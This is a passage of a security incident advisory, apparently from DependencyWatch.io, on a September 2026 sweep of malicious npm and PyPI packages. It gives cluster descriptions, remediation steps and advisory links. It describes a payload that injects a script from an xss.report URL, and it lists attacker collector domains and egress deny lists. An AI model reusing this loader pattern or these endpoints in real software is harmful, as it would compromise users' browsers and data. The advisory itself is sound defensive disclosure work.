(GHSA-4whg-cvj9-8v3f, MAL-2026-16356) — typosquat of legitimate `starlette-healthcheck`, telemetry probe (per bad-packages.kam193.eu). All Cluster H items are neutral/research disclosures but the payloads are real; hits should still be treated as compromise
- **Cluster I - npm `blue-string-formatter-utilss@1.2.0` `xss.report` DOM loader**: GHSA-4g26-86h7-34h3, MAL-2026-16363. Impersonates a string-formatting utility; `payload.js` IIFE creates a `<script>` element with `src='https://xss.report/c/k3rne111'` and appends it to `document.body`. `xss.report` is a known XSS payload-distribution service — the injected script is attacker-controlled and can be swapped without republishing the package. Fires in any DOM environment: bundlers that vendor the package into a browser build, unpkg loaders, jsdom-based test runners. Operator-unpublished within an hour
- **Cluster J - npm miscellaneous quarantines (payloads not disclosed in GHSA body)**: `@zig-design-system/react@99.0.0` (GHSA-rqjq-px4f-2m8r) — Zig design-system typosquat, quarantined 2026-09-21 23:39 UTC. `@woodpecker-web-shared/components@1.20.4`/`2.20.5`/`4.20.5` (MAL-2026-16354) — Woodpecker CI web-shared component impersonation with sentinel-like inflated majors, three versions published within 2 hours on 2026-09-21. `wos-library@99.0.0`/`999.999.999` + `wos-library-ui@99.0.0`/`999.999.999` (GHSA-mfwv-9gcf-2mww + GHSA-wh36-rj36-m3ff, MAL-2026-16373) — sentinel dep-confusion pair quarantined 2026-09-21 23:36 UTC. `react-context-form-tdsss@9.0.0` (GHSA-pg33-6m24-4p63, MAL-2026-16372) — sentinel major on a `react-context-form`-lookalike name. All boilerplate CWE-506; treat as install-time compromise pending IOC

## What to do

1. Grep every `package-lock.json`, `yarn.lock`, `pnpm-lock.yaml`, `package.json`, `requirements.txt`, `Pipfile.lock`, and `poetry.lock` in your org for every package name in Clusters A through J. Uninstall on hit, wipe `node_modules`/`.venv`, delete the lockfile, rebuild against a clean cache. Clusters A, B, C, G, H (subset), and I include real disclosed payloads (DNS-OOB, axios-loader RCE, Burp Collaborator OOB, Telegram tdata stealer, SSRF probe, xss.report DOM loader) - a hit on any of those is a compromise, not a warning
2. **For Cluster A (`@baanx/*` day 5)**: block `oob.algamil7x.xyz` at your resolver (same operator zone as the 2026-09-18, 2026-09-19, and 2026-09-21 clusters - now spanning eight days) and add every `bx*` prefix (`bxsol`, `bxabis`, `bxcfg`) to your DNS monitoring. Any host that installed the packages DNS-resolved a label carrying hostname/username/cwd to the operator - rotate credentials accessible from that host. If your organization owns any `@baanx` internal scope, pin it to your private registry with `.npmrc`; every new day this operator publishes under a fresh internal-looking scope name, so pin-by-scope is a losing game - the durable mitigation is resolver-level DNS blocking of `algamil7x.xyz`
3. **For Cluster B (`hardhat-*` axios-loader RCE)**: block `ipcheck-hashed.vercel.app` at CI egress (specifically the `/api/auth/f1f097d93c318c92f0c5` path). Uninstall on hit and rotate every credential visible to the parent Node process. `--ignore-scripts` does NOT block this - the RCE fires when the package's exported middleware is invoked, which happens at import/require time in most Hardhat plugin loaders. If any developer or CI job installed a `hardhat-*` package expecting the real Nomic Foundation `hardhat` toolchain (`@nomicfoundation/hardhat-*`), treat the workstation as compromised - the fetched payload is attacker-controlled and can be a wallet drainer, a stager, or a credential stealer depending on what the operator serves at the time
4. **For Cluster C (`@uh-platform/*` + `@uol-afiliados` + `@asdfaskdjfksadhfkasf` Burp Collaborator)**: block `*.oastify.com` at CI egress (specifically `pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com`). If your org maintains an internal `@uh-platform`, `@uol-afiliados`, or similar-looking scope, pin it to your registry with `.npmrc` and configure the internal registry to refuse public-npm publishes under those names. Pentest-shaped but each install leaks source IP, hostname, and OS username
5. **For Cluster D (`@vite-*/*` batch)**: uninstall on hit; audit your Vite-tooling supply chain for any of the six exact package names. All were live for 2-3 months before quarantine, so a hit implies extended exposure. Rotate any credentials the parent Node process could reach during that window. Add all six scopes to your registry deny-list for at least 30 days
6. **For Cluster E (`test-react-app-*` + `de-morgan` + `transform-es2015-unicode-regex` + `emoji-prints-fancy`)**: uninstall on hit. `transform-es2015-unicode-regex` in particular is dangerous because a lockfile grep for `babel-plugin-transform-es2015-unicode-regex` won't catch it - the malicious name drops the `babel-plugin-` prefix. Grep for the bare `transform-es2015-unicode-regex` name too. Any lockfile with a hit was exposed for ~7 weeks
7. **For Cluster F (`math-*` batch)**: uninstall `math-universe`, `mathmain`, `mathsbase` on hit; verify no lockfile intended `mathjs` and typo'd one of these lookalike names
8. **For Cluster G (`pullgetsage` pip Telegram stealer)**: uninstall on hit AND treat the installer's Telegram account as compromised - log out ALL sessions (`Telegram Settings > Devices > Terminate all other sessions`), rotate 2FA, and audit sent messages for the past 24h for any evidence of operator interaction. If the installer was a Telegram bot admin, rotate the bot token immediately - the `tdata` archive contains stored bot credentials
9. **For Cluster H (pentest/CTF artefacts)**: uninstall on hit. For `bnppf-flag-icons` and `radio-player-theme`, these look neutral-research but the payloads are still live - block the collector domains. For `my-ctf-helper-script-9921`, block `webhook.site` at your CDN/CSP if any web build vendored the package. For `bytepack-probe-a7x3`, no npm-side residue if you didn't install during its 7-minute window, but private mirrors that snapshotted it may still serve it. For pip `starlette-healthchecks`, rename to `starlette-healthcheck` (single "check") if you meant the legit package
10. **For Cluster I (`blue-string-formatter-utilss` xss.report)**: block `xss.report` at your web CSP `script-src`; audit HTML/JS sources for any `<script src="https://xss.report/...">` reference and reissue session cookies for visitors that hit those pages
11. **For Cluster J (misc quarantines)**: uninstall on hit and pin the internal-looking names (`@zig-design-system`, `@woodpecker-web-shared`, `wos-library`, `react-context-form`) to your private registry
12. For every `npm install` in CI, prefer `--ignore-scripts` and enforce it at the runner level (but note it does NOT block Cluster B - the RCE fires on `require`, not on install script). Layer with egress denylists on `oob.algamil7x.xyz`, `ipcheck-hashed.vercel.app`, `*.oastify.com`, `xss.report`, `webhook.site`, and unexpected Cloudflare Workers subdomains. Extend the pin-lists from prior sweeps (`@nimbusedge*/*`, `@baanx/*`) with `hardhat-base`, `hardhat-core`, `hardhat-devkit`, `@uh-platform/*`, `@uol-afiliados/*`, `@vite-tab/*`, `@vitets/*`, `@vite-pro/*`, `@vite-mcp/*`, `@vite-ts/*`, `@zig-design-system/*`, `@woodpecker-web-shared/*`, `wos-library*`, `react-context-form-*`, `de-morgan`, `transform-es2015-unicode-regex`, `emoji-prints-fancy`, `math-universe`, `mathmain`, `mathsbase`, `test-react-app-*`, `blue-string-formatter-utilss`, `bytepack-probe-*`, `bnppf-*`, `radio-player-theme`, `my-ctf-helper-script-*`, and pip `pullgetsage` / `starlette-healthchecks`

## Check your own dependencies

- Check a package-lock.json against this incident: https://dependencywatch.io/check/package-lock-json
- Check a requirements.txt against this incident: https://dependencywatch.io/check/requirements-txt

The scan runs entirely in the browser; lockfile contents are never uploaded.

## References

- [GitHub Advisory Database - recent malware advisories](https://github.com/advisories?query=type%3Amalware&sort=published-desc) - GitHub
- [MAL-2026-16351 - @baanx/abis (Cluster A - algamil7x DNS-OOB day 5, bxabis prefix)](https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@baanx/abis/MAL-2026-16351.json) - OpenSSF
- [MAL-2026-16352 - @baanx/blockchain-config (Cluster A - algamil7x DNS-OOB, bxcfg prefix)](https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@baanx/blockchain-config/MAL-2026-16352.json) - OpenSSF
- [MAL-2026-16348 - hardhat-base (Cluster B - axios-loader RCE via ipcheck-hashed.vercel.app)](https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/hardhat-base/MAL-2026-16348.json) - OpenSSF
- [MAL-2026-3713 - hardhat-core (Cluster B - detached RCE, ipcheck-hashed.vercel.app)](https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/hardhat-core/MAL-2026-3713.json) - OpenSSF
- [MAL-2026-16349 - hardhat-devkit (Cluster B - same axios-loader RCE primitive)](https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/hardhat-devkit/MAL-2026-16349.json) - OpenSSF
- [GHSA-g4jv-48fc-mhh2 - @uh-platform/cloud (Cluster C - Burp Collaborator OOB)](https://github.com/advisories/GHSA-g4jv-48fc-mhh2) - GitHub
- [GHSA-xh82-8x4m-9w6c - @uh-platform/domain-widget (Cluster C - Burp Collaborator OOB)](https://github.com/advisories/GHSA-xh82-8x4m-9w6c) - GitHub
- [GHSA-99r3-9hc2-372p - @uh-platform/nadaver2 (Cluster C - Burp Collaborator OOB)](https://github.com/advisories/GHSA-99r3-9hc2-372p) - GitHub
- [GHSA-5h99-j25f-5q62 - @uh-platform/webcard (Cluster C - Burp Collaborator OOB)](https://github.com/advisories/GHSA-5h99-j25f-5q62) - GitHub
- [GHSA-mh6g-473c-fvhx - @uol-afiliados/affiliated-config-lib (Cluster C - Burp Collaborator DNS+HTTP)](https://github.com/advisories/GHSA-mh6g-473c-fvhx) - GitHub
- [GHSA-74pv-97c8-9hfp - @vite-tab/tab (Cluster D - batch quarantine)](https://github.com/advisories/GHSA-74pv-97c8-9hfp) - GitHub
- [GHSA-q5h9-3mvh-45cf - @vite-tab/tabui (Cluster D - batch quarantine)](https://github.com/advisories/GHSA-q5h9-3mvh-45cf) - GitHub
- [GHSA-733v-wc48-f65r - @vitets/vite-ts (Cluster D - batch quarantine)](https://github.com/advisories/GHSA-733v-wc48-f65r) - GitHub
- [GHSA-phpx-wpr2-26pv - @vite-pro/vite-ui (Cluster D - batch quarantine)](https://github.com/advisories/GHSA-phpx-wpr2-26pv) - GitHub
- [GHSA-mqf9-3wx8-45cj - @vite-mcp/vite-type (Cluster D - batch quarantine)](https://github.com/advisories/GHSA-mqf9-3wx8-45cj) - GitHub
- [GHSA-jm6h-xxm2-2mr3 - @vite-ts/vite-ui (Cluster D - batch quarantine)](https://github.com/advisories/GHSA-jm6h-xxm2-2mr3) - GitHub
- [GHSA-wm2w-4m2r-mv73 - test-react-app-in (Cluster E - Aug 4 residual)](https://github.com/advisories/GHSA-wm2w-4m2r-mv73) - GitHub
- [GHSA-vx3p-fwmg-p7g8 - test-react-app-out (Cluster E - Aug 4 residual)](https://github.com/advisories/GHSA-vx3p-fwmg-p7g8) - GitHub
- [GHSA-264w-9h55-v637 - test-react-app-way (Cluster E - Aug 4 residual)](https://github.com/advisories/GHSA-264w-9h55-v637) - GitHub
- [GHSA-2vc2-gwg3-2gpx - de-morgan (Cluster E - Aug 4 residual typosquat)](https://github.com/advisories/GHSA-2vc2-gwg3-2gpx) - GitHub
- [GHSA-jcxm-5v55-599q - transform-es2015-unicode-regex (Cluster E - Babel plugin lookalike)](https://github.com/advisories/GHSA-jcxm-5v55-599q) - GitHub
- [GHSA-m523-mggx-3fgr - emoji-prints-fancy (Cluster E - Jul 19 residual)](https://github.com/advisories/GHSA-m523-mggx-3fgr) - GitHub
- [MAL-2026-16366 - pullgetsage (Cluster G - Telegram tdata stealer, Cloudflare Workers)](https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/pullgetsage/MAL-2026-16366.json) - OpenSSF
- [GHSA-4whg-cvj9-8v3f - pullgetsage (Cluster G advisory record)](https://github.com/advisories/GHSA-4whg-cvj9-8v3f) - GitHub
- [MAL-2026-16356 - starlette-healthchecks (Cluster H - typosquat, telemetry probe)](https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/starlette-healthchecks/MAL-2026-16356.json) - OpenSSF
- [GHSA-qhgh-m36j-h879 - my-ctf-helper-script-9921 (Cluster H - webhook.site cookie exfil)](https://github.com/advisories/GHSA-qhgh-m36j-h879) - GitHub
- [GHSA-pjjj-2389-rwj6 - bytepack-probe-a7x3 (Cluster H - external-tarball SSRF probe)](https://github.com/advisories/GHSA-pjjj-2389-rwj6) - GitHub
- [GHSA-4g26-86h7-34h3 - blue-string-formatter-utilss (Cluster I - xss.report DOM loader)](https://github.com/advisories/GHSA-4g26-86h7-34h3) - GitHub
- [GHSA-rqjq-px4f-2m8r - @zig-design-system/react (Cluster J - misc quarantine)](https://github.com/advisories/GHSA-rqjq-px4f-2m8r) - GitHub
- [GHSA-pg33-6m24-4p63 - react-context-form-tdsss (Cluster J - sentinel dep-confusion)](https://github.com/advisories/GHSA-pg33-6m24-4p63) - GitHub
- [jaschadub/compromised-packages-check - Sep 21-22 2026 sweep (PR #136)](https://github.com/jaschadub/compromised-packages-check/pull/136) - jaschadub
- [OpenSSF malicious-packages repository](https://github.com/ossf/malicious-packages) - OpenSSF

---

Canonical page: https://dependencywatch.io/incident/multi-2026-09-22-ghsa-malware-sweep
Markdown version: https://dependencywatch.io/incident/multi-2026-09-22-ghsa-malware-sweep.md
Site index for agents: https://dependencywatch.io/llms.txt
DependencyWatch.io is operated by Precursor Security (https://precursorsecurity.com).